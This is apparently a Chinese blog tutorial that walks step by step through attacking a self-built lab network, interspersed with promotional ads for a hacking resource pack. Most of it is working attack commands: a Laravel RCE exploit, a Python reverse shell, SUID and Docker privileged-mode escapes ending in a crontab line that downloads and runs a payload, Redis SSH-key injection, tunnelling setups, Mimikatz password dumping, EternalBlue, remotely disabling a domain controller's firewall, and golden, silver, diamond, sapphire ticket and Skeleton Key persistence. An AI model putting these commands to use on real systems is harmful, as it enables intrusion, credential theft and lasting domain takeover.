前言:
本文主要记录了作者之前在内网渗透的一个全方面的学习过程,包括如何从外网找到入口点,之后如何提权,然后如何在内网中进行一个信息收集,当存在域的情况下又是怎么收集信息,然后通过代理来进一步横向,不论是一层代理还是两层,本文都有涉及,以及一些常见的代理工具的使用方法、权限维持的手法、痕迹清理、内网渗透过程的整一个渗透思路是怎么样子的做一个简单的分享,同时希望能帮助到像我一样的小白能对内网渗透有进一步的了解,最主要的是让像我一样的菜鸟找到学习的方向和方式
打靶过程
如下为本人自己搭建的练习靶场
拿下web2
1.nmap扫描
192.168.157.131 :81 —>web2 (nginx)
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
2.Nday getshell-web2
访问192.168.157.131:81可以得到使用了Laravel框架信息
该站点存在Laravel Debug mode RCE漏洞(CVE-2021-3129)利用工具laravel-CVE-2021-3129-EXP-main 搭配v2.96-godzilla拿下shell(docker)
注意该工具下getshell高版本的‘哥斯拉’不可行,工具均于github下载
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla
3.在docker中提权-web2
拿下shell之后判断是否为docker,如下图,可以看到确实为docker容器中
方式一:利用suid权限
find / -perm -u=s -type f 2>/dev/null
1.通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以找到/home/jobs目录下有一个shell文件,并且其具有SUID权限,通过执行shell可以发现其执行的就是ps命令
2.利用python进行一个反弹shell到自己的kali
Python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.50.1”,2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/bash”,“-i”]);’
3.开始利用suid提权
思路:
找到suid程序(shell可执行文件 调用系统ps命令)–>修改PATH -->创建ps文件内容为/bin/bash -->将ps文件添加至PATH最前面最先调用–>执行shell程序–>通过PATH找到我们创建的ps文件执行命令–>导致可利用suid权限执行任意命令
!!!没有root权限是无法进行磁盘挂载的
具体操作如下
cd /tmp
echo "/bin/bash" > ps #写入ps内容
chmod 777 ps #授权
echo $PATH
export PATH\=/tmp:$PATH \# 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
然后就获得了root权限,可以执行命令了
疑问一:为什么写入到tmp目录
1./tmp目录通常对所有用户都是可读写的
2.由于/tmp目录中经常有大量临时文件,攻击者放置的木马文件可能不会立即引起注意
3./tmp目录中的文件可能会被系统定期清理,这可能有助于攻击者隐藏痕迹
4.docker逃逸拿下web2
方式一:Docker runC漏洞逃逸-失败
攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令,需等待目标机管理员重启该docker容器,payload就会触发
https://github.com/Frichetten/CVE-2019-5736-PoC
实验失败,原因未知
方式二:Docker 特权模式逃逸-成功
当管理员执行docker run --privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
将宿主机磁盘挂载之后添加计划任务—利用msf的web_delivery模块生成payload定时执行,宿主机上线meterpreter
具体操作:
1.首先我们现在docker中新建一个/hack目录用来挂在文件
mkdir /hack
2.然后ls /dev看到/dev目录会发现很多设备文件
/dev目录是系统设备管理的核心部分,几乎所有的硬件设备在/dev目录下都有一个对应的设备文件。这些设备文件使得用户和程序能够以文件的方式与硬件设备交互
3.将 /dev/sda1 挂载到/hack目录里mount /dev/sda1 /hack
如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的
使用metasploit的web_delivery模块生成payload命令
use exploit/multi/script/web\_delivery
set target 7 \# 选择目标系统
set payload linux/x64/meterpreter/reverse\_tcp
set lhost 192.168.x.x #kali地址
set lport 4444
exploit
如上图将
echo ’ * wget -qO m4aMAqCc --no-check-certificate http://192.168.52.128:8080/fvjGoEx9Xu7ud97; chmod +x m4aMAqCc; ./m4aMAqCc& disown >> /hack/var/spool/cron/crontabs/root 将该命令写入宿主机的计划任务中即可上线meterpreter
但是通过ifconfig可以看到出现了52段和93段和我们刚刚web的157.131并不一样所以从这就可以大致判断是存在nginx反向代理
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
拿下web1
nmap得到6379–redis未授权写入ssh公钥
1.先前通过nmap扫描是可以得到6379的,其存在redis未授权漏洞可直接连接,那么我们可以通过写入ssh公钥来实现ssh连接
具体操作如下
ssh-keygen -t rsa #生成密钥
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt #/root/.ssh/id_rsa.pub为公钥位置 其中换行的原因是避免和Redis里其他缓存数据混合
cat key.txt | redis-cli -h 192.168.157.128 -x set xxx #把key.txt文件内容写入目标主机的redis缓冲里
然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:
redis-cli -h 192.168.157.131
注意这里设置备份路径的时候,目标机器必须要是以root权限启动的redis,否则会权限不足
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/(SSH密钥存放的默认目录)
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
写入成功后直接尝试连接,通过ssh配合msf生成payload得到web1 的session:
内网穿透工具拓展/使用
补充:Kali ip
Earthworm
一.工具介绍
Earthworm(简称EW)是一款功能强大的网络穿透工具,它具备SOCKS5服务架设和端口转发两大核心功能,能够在复杂网络环境中实现网络穿透。EW支持正向、反向以及多级级联的方式建立网络隧道,实现网络穿透。它适用于多种操作系统,包括Linux、Windows、MacOS和Arm-Linux,提供了丰富的跨平台支持
二:工具使用
https://github.com/idlefire/ew
服务端 ./ew_for_linux64 -s rcsocks -l 8899 -e 1888
客户端 ./ew_for_linux64 -s rssocks -d 192.168.157.129 -e 1888
成功访问52网段,注意浏览器要挂代理127.0.0.1:8899
Frp
一.工具介绍
FRP(Fast Reverse Proxy)是一个开源的高性能内网穿透及反向代理应用,它支持TCP、UDP、HTTP、HTTPS等多种协议。FRP采用客户端/服务端(C/S)模式,服务端部署在具有公网IP的机器上,客户端部署在内网或防火墙内的机器上。通过访问暴露在服务器上的端口,FRP能够反向代理到处于内网的服务
Tip:版本frp0.39 :注意高版本和低版本启动的方式是不一样的,高版本把frpc.ini改成了frpc.toml
二:工具使用
Frpc.ini配置如下
Frps.ini配置如下
Tip:利用python和wget传工具
服务端 frps -c frps.ini
客户端 frps -c frps.ini
如下图表现socks5搭建成功
reGeorg
由于当前环境ubuntu(web1)没有web端服务因此先拿其他机子环境进行实验
一.工具介绍
Neo-regeorg 是一个基于 Python 编写的用于正向代理和内网穿透工具,采用 socks5 协议。
支持的脚本类型:aspx、ashx、jsp、jspx、php
下载地址:https://github.com/L-codes/Neo-reGeorg
二:工具使用
先使用regeorg生成代理文件
python neoreg.py generate -k 123456
生成之后key为你在生成时的连接密码
连接命令为python3 neoreg.py -k 123456 -u http://39.101.168.100/proxy.php -p 10080
-k为密码参数,-p为本地的端口10080
weblogic查找路径:C:\bea\workshop_10.3\samples\domains\workshop\servers\cgServer\tmp_WL_internal\bea_wls_internal\5uaji9\war\
找到临时文件工作路径后使用文件上传功能
连接代理python3 neoreg.py -k 123456 -u http://201.xxx.xxx.90:7001/bea_wls_internal/proxy.jsp -p 10080
使用proxifier配置本地代理:
配置代理规则
可正常访问内网
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
Nps
NPS下载地址:https://github.com/ehang-io/nps/releases/
下载后上传到vps,运行以下命令
mkdir nps-server
mv linux\_amd64\_server.tar.gz nps-server/
cd nps-server
tar -zxvf linux\_amd64\_server.tar.gz
./nps install
./nps start
到此处成功启动nps服务端,web默认端口8080,服务端口8024
访问网站,默认账户密码admin/123
点击客户端新增
可只设置个验证密钥
Windows自行更改npc.exe -server=47.。.46:8024 -vkey=1234 -type=tcp(此命令为受害者主机运行)
客户端登录之后会显示客户端地址
需要记住客户端的id,在socks5代理中配置
新增后会在vps上1080端口开启socks5服务,使用proxifier连接
suo5
一.工具介绍
Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。
其主要特性如下
1.同时支持全双工与半双工模式,传输性能接近FRP
2.支持在 Nginx 反向代理和负载均衡场景使用
3.完善的连接控制和并发管理,使用流畅丝滑
4.支持 Tomcat Jetty Weblogic WebSphereResin等主流中间件
5.支持 Java4~Java 19 全版本,兼容性拉满
-
同时提供提供命令行和图形化界面
下载地址:https://github.com/zema1/suo5
(可下载代码自行编译,也可下载编译好的,必须下载assets里的连接代码)
二:工具使用
在此文件夹中找到对应系统上传文件
我们需要用的jsp文件
找到网站根目录
Weblogic访问目录http://201.147.94.90:7001/bea_wls_internal/suo5.jsp
使用suo5客户端连接
默认端口为1111,自行更改
linux版本命令为./suo5-linux-arm64 -t http://201.xxx.xx.90:7001/bea_wls_internal/suo5.jsp -l 0.0.0.0:1111
然后需配置proxifier使用socks5代理即可访问
## 横向移动192.168.52.0
给web1的session配置路由 route add 192.168.52.0 255.255.255.0 x
x代表session的id 比如 3
使用auxiliary/scanner/discovery/udp_probe 模块来扫描52网段的主机-----扫到192.168.52.30 主机pc1
配置路由的原因是:告诉msf“路怎么走”接下来就是要搭socks代理是为了让其他工具同样“识路”
在web1上可利用earthworm/frp/reGeorg/Nps/suo5(性能强)搭建socks5,(web1双网卡上是存在52段网)
然后搭配proxychains对52段进行nmap扫描
proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30
可以看到8080上有一个nginx的http服务尝试访问
拿下pc1
很明显这是一个通达oa的系统直接搜哈
https://github.com/xiaokp7/TongdaOATool/releases/tag/v1.6
自此pc1也就拿下了
内网信息收集
常规操作
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
ipconfig /all \# 查看本机ip,所在域
systeminfo \# 列出系统信息
route print \# 打印路由信息
net view \# 查看局域网内其他主机名
arp -a \# 查看arp缓存
whoami
net start \# 查看开启了哪些服务
net share \# 查看开启了哪些共享
net config workstation \# 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user \# 查看本机用户列表
net user /domain \# 查看域用户
net localgroup administrators \# 查看本地管理员组(通常会有域用户)
net view /domain \# 查看有几个域
net user 用户名 /domain \# 获取指定域用户的信息
net group /domain \# 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain \# 查看域中某工作组
net group "domain admins" /domain \# 查看域管理员的名字
net group "domain computers" /domain \# 查看域中的其他主机名
net group "domain controllers" /domain \# 查看域控制器(可能有多台)
发现IPC
远程IPC(Inter-Process Communication,进程间通信)主要指的是在不同计算机系统或在同一计算机系统的不同进程之间进行数据交换和通信的机制。在Windows系统中,IPC ( I n t e r n e t P r o c e s s C o n n e c t i o n )是一种特殊的共享资源,它允许进程间通过命名管道进行通信,以实现对远程计算机的访问。 I P C (Internet Process Connection)是一种特殊的共享资源,它允许进程间通过命名管道进行通信,以实现对远程计算机的访问。IPC (InternetProcessConnection)是一种特殊的共享资源,它允许进程间通过命名管道进行通信,以实现对远程计算机的访问。IPC共享依赖于特定的端口,如139和445端口,这些端口用于SMB(Server Message Block)协议,负责文件和打印共享服务。
在实际应用中,IPC 可以用于建立远程连接,例如,通过命令 n e t u s e I P i p c 可以用于建立远程连接,例如,通过命令 net use \\IP\\ipc 可以用于建立远程连接,例如,通过命令netuseIPipc “password” /user:“username” 可以建立与远程计算机的IPC 连接。此外, I P C 连接。此外,IPC 连接。此外,IPC连接还可以用于文件传输、执行远程命令等操作。然而,需要注意的是,不当使用IPC$可能会带来安全风险,如被恶意用户利用来获取未授权的访问权限
关键信息汇总:
域名:whoamianony.org
域控制器主机名为DC.whoamianony.org,IP为192.168.93.30
域管理员为Administrator
Kiwi启动!抓密码
Ps
migrate \[PID\] #挂载x64进程
load kiwi
kiwi\_cmd privilege::debug
kiwi\_cmd sekurlsa::logonPasswords
bunny:Bunny2021
administrator:Whoami2021
Tip:mimikatz需要管理员权限才可以爬
横向移动 192.168.93.0
配置路由
route add 192.168.93.0 255.255.255. 2
开始扫描93存活主机
use auxiliary/scanner/smb/smb\_version
set rhosts 192.168.93.1-255
set threads 5
run
扫到了93.40主机
继续用nmap扫一下
使用earthworm搭建一个二级socks5代理服务
攻击机: ./ew_for_linux64 -s lcx_listen -l 1090 -e 1234
跳板机: ./ew_for_linux64 -s lcx_slave -d 192.168.52.128 -e 1234 -f 192.168.52.30 -g 1555
Win7:ew_for_Win.exe -s ssocksd -l 1555
proxychains4 nmap -Pn -sT -sV 192.168.52.40
没发现什么可有利用的服务,我们直接打一个“永恒之蓝”试试:
setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17\_010\_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind\_tcp
set rhost 192.168.93.40
set lport 4444
exploit
自此拿下pc2,还剩下一个域控,因为前期有了域管理员的密码直接尝试直接psexec登陆
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
拿下域控
首先利用域管理员账号把域控的防火墙给关了,到pc1执行以下命令让Windows 7与域控建立ipc连接:
net use \192.168.93.30\ipc$ “Whoami2021” /user:“Administrator”
然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:
sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”
sc \192.168.93.30 start unablefirewall
直接psexec登陆
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind\_tcp
set rhost 192.168.93.30
run
成功拿下!
权限维持
票据
白银票据
1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH
6.需要伪造的用户名
SID和所处域参考黄金票据
whoami /user
net config workstation
获取服务账号hash
mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords” > ‘xxx.txt’
制作白银票据(使用mimikatz)
klist purge 清除票据
kerberos::golden /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /target:dc.cyber.com /service:cifs /rc4:45bdd23a3b9fc1c44a9fbb4081a70b30 /user:aaaa /ptt
kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt
黄金票据
介绍
黄金票证是一种权限维持手段,攻击者获得了对 Active Directory 密钥分发服务帐户 (KRBTGT) 的控制权,并使用该帐户伪造有效的 Kerberos 票证授予票证 (TGT)。这使攻击者能够访问 Active Directory 域上的任何资源,如果有 KRBTGT 哈希,您可以伪造自己的 TGT,其中包括想要的任何组成员身份的 PAC 数据
前置条件:
1.KRBTGT的hash
2.本地管理员权限
3.域的sid(普通用户的sid除去最后三位就是域的sid)
4.域内任意用户的本地管理员权限
利用mimikatz实现
具体操作
whoami /user 获取域的sid值(去掉最后的-500,500表示为administrator用户)
net config workstation 查看所处域
获取krbtgt用户hash
运行mimikatz.exe
privilegeg::debug #开启特权模式
lsadump::lsa /patch #获取krbtgt用户hash,域的sid
lsadump::lsa /patch /user:krbtgt #获取krbtgt用户hash
制作黄金票据(使用mimikatz)
此时我们已经拥有krbtgt账号的hash,接下来切换到普通机器,使用mimikatz制作黄金票据。
Kerberos::purge
klist purge 这两条命令可以清除机器中的票据,以防干扰
kerberos::golden /user:administrator /domain:cyber.com /sid:S-1-5-21-1923088019-4105411894-1236499359 /krbtgt:d40f0e3b1347e55dbfd6dc58e80a3b6e /ticket:ticket.kirbi
kerberos::golden /user:XXX任意用户名 /domain:域名 /sid:域的sid值 /ticket:XXX.kirbi(生成的票据名称)
票据传递
kerberos::ptt ticket.kirbi
dir \dc.cyber.com\c$
利用impacket实现
第一步:打开管理员权限的命令行窗口并清空票据
第二步:制作ccache文件
python ticketer.py -nthash d8d2ad72a119a8d418703f7a16580af6 -domain-sid S-1-5-21-3763276348-88739081-2848684050 -domain whoamianony.ory administrator
第三步:更改环境变量
set KRB5CCNAME=C:\Users\zhangsan\Desktop\impacket-examples-windows-master\administrator.ccache
第四步:验证成果
python wmiexec.py whoamianony.ory/administrator@yukong -k -no-pass
利用impacket来进行票据的制作有一定的局限性,制作完票据后在klist命令下是看不到缓存的。也没办法使用net use \ip\admin$ 来建立管道连接。但可以使用其自带的工具在在一定的命令格式下进行远控指定主机
砖石票据
区别:
黄金票据攻击和钻石票据攻击都需要访问krbtgt密钥。然而,钻石票据攻击需要访问AES256密钥。黄金票证攻击则是利用伪造票证授予票证 (TGT) ,而钻石票证攻击则利用了域控制器 (DC) 请求的真实 TGT 进行解密和重新加密进行票据攻击。
优势:这种技术相比于金票更加隐蔽,因为过程中所申请的TGT是真实的,只是修改了PAC,相对你金票离线生成TGT更符合OPSEC
条件:
krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745(AES256密钥)
低权限用户user:micle
用户密码password:Admin12345
domain:rootkit.org
dc:owa2013.rootkit.org
ticketuser:administrator //伪造的票据用户名可以任意,不需要域中存在该用户
具体操作:
使用 mimikatz 抓取 krbtgt 用户 aes256密钥
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:rootkit.org /user:krbtgt" "exit"
解密重构TGT
Rubeus.exe diamond /krbkey:3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745 /user:micle /password:Admin12345 /enctype:aes /domain:rootkit.org /dc:owa2013.rootkit.org /ticketuser:test123 /ptt /nowrap
利用我们重新构造的TGT对域控的cifs服务进行票据注入
Rubeus.exe asktgs /ticket:doIFMjCCBS6gAwIBBaEDAgEWooIEOzCCBDdhggQzMIIEL6ADAgEFoQ0bC1JPT1RLSVQuT1JHoiAwHqADAgECoRcwFRsGa3JidGd0GwtST09US0lULk9SR6OCA/UwggPxoAMCARKhAwIBA6KCA+MEggPfj2PsZr7SGEqJsPPl5wG8ljBVM4yBAtxGQNxTQQPo6WBMTxcXS+3f3vyYs6qab0uZ+X5UW45e4aW8T8VhsTOkSJ1jokudegt8ILFKbHNpuUTMywsfgjRb6o+CQkfyZMGep1bQ9FoKHw+qPyd6ql7bYK50u1zO+uhNQ61cQDymFiDaqu0UBLh9yI4qY81gpycKOZSWqy0T/cH52hn22IuuxfL9dKN9qdRF+YCnrqy9MBSPx5E3MGVroJZrLYqgDfPQ9g+u1pPabnci8ac3J2S8isxbTscP7hutRATWTQWeauRvG1DbNN6qANWagDNpPy9JEqQoLbqrr3GD/FEQhaANSZlX2IPzLj8EsUcKQExEVSaWC3OuUwqNGWBNhc1m+aJL9mt6D42SwWMyFvmREmlj/lDR9kv9IQmqupcFCloBkewpyFBlecHkkSFKwXGvde65Y7Z/5vP1Iq1el2VrZPPMhywUhk5JwnRNhInDokhYFOWMIdY3w/C2PreLdEiL5aFUc7e01y7uQV5Wbe/OJ6XZdNhbYKXZ9lzZdHAqSayQmo0TRpBCBwqAZUFZse3l5B7qwPP9WBJDLIZtNgV6GUt0CW9DVoIW0jdM1j2Hkl9B+CeM1xV7Vb2DMNh8gK6IfT7KWEHX8a+0GVwlQWkAW/O/IpjZc8+3rIkiIfCIqbGTwA/pnjfhsS2lOXetwW6S4jQ8C9SfKZbLWhPIxpRs9q9g3tWMUE22Pk06CD3T9GbdTEbVi0IvCQJSgNIGMu+sI9ISVZ78HNmYv2wAjjC0tcHusjG1DDj0obyfeg99icK1ZtZL0HmOcQCSwNZqqJDMOXix1uKXv8auJP0itVdUf/aYp8l0xDjVQRYzvefpuar1Ce2Dhguejc6nEfPKusFBPDNhYGw8WlSupnCjjwgNuuQT1WUXdNuTMpPAh3Grb0dj/2s3/WcqVI3P9eZMos6n+MnD8RJUjytPGAm+iKa30KmL3nJbxQEdBOCI9cY4SYmf09B9fQJhG7fEwyeUyjcRoCeOeLFlSM8MCs/qHUi+0MTkVyyiLYZWfcNY+20dCbwUtRz6zXUwQ4go8buZoZMKqnnio1rtzZxzqkqiYK+AbtRq7+9JPuX0chOr9GKqGQGEqaQZCqjOVCQKr1A+JK4mfhHxGwe0eDaDtGOTUnszGLhqQdmDVxNpKduOLjaQBN97ACnitC3Q1Ww6ZeCv51TVh2x787nNkYy5JWZrY0gd3FByb9UDkMmeODy/1oVireCYEfLAL8yUuu/REgZbkyIsxzSCeG/NUZN6ztjGn/IrJ06bEQS6OhuvPHKP51JIh/8HUaOB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIFPwBQgPPeImtpqHK3V4zobqMKDh0uVBzmEB/v5GuE7noQ0bC1JPT1RLSVQuT1JHohQwEqADAgEBoQswCRsHdGVzdDEyM6MHAwUAQOEAAKURGA8yMDI0MDIwNTA0Mjk0OFqmERgPMjAyNDAyMDUxNDI5NDhapxEYDzIwMjQwMjEyMDQyOTQ4WqgNGwtST09US0lULk9SR6kgMB6gAwIBAqEXMBUbBmtyYnRndBsLUk9PVEtJVC5PUkc= /service:cifs/owa2013.rootkit.org /ptt /nowrap
利用klist查看票据
蓝宝石票据
区别:
蓝宝石票据与钻石票据类似,票据不是伪造的,而是通过请求后获得的合法票据。他们的区别在于PAC的修改方式。钻石票据是修改了合法PAC以添加特权组。在蓝宝石票据中,高权限用户PAC是通过S4U2Self+U2U获得的,然后该PAC会替换原来的PAC,由于该票据是完全合法元素组合起来的,所以是最难检测的票据
具体操作:
使用魔改过的 ticketer.py
https://github.com/ShutdownRepo/impacket/tree/6c9a1aadbfc11e321858a640b596530535b11fd1
将域控的ip地址加入hosts,使用如下命令生成票据
python ticketer.py -request -impersonate ‘administrator’ -domain ‘rootkit.org’ -user ‘micle’ -password ‘Admin12345’ -aesKey ‘3e65833fc9930ea83015501ec30c161da401faf6cfed9526b9ceff16c8ade745’ -domain-sid ‘S-1-5-21-3759881954-2993291187-3577547808’ -nthash ‘c3d5042c67ef5f461d0ba6ecdd9ea449’ ‘Sapphire’
使用mimikatz导入该票据,成功dir域控
kerberos::ptc ignored.ccache
由于该票据很难被检测到,只能通过人工排查krbrgt账户被盗等情况入手
Skeleton Key(万能密码)
介绍:
Skeleton Key(万能密码),可以对域内权限进行持久化操作,在本文中将分别使用Mimikatz和Empire来完成Skeleton Key的操作,并分析其使用方法和防御措施
具体操作:
1.在域控制器中以管理员权限运行Mimikatz,之后执行以下命令,将SKeleton Key注入域控制器的lsass.exe进程中:
mimikatz # privilege::debug
mimikatz # misc::skeleton
如上图所示,系统提示Skeleton Key已经注入成功,此时会在域中的所有账户中添加一个Skeleton Key,其默认密码为"mimikatz",接下来就可以以域内任意用户的身份,配合该SKeleton Key运行域内身份授权验证了,我们可以在不适用域管理员原始密码的情况下,使用注入的Skeleton Key成功连接系统,例如:
net use \dc\ipc$ “mimikatz” /user:hacke\administrator
可以看到已经与域控制器建立了连接,我们之后可以列c盘的目录看看:
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取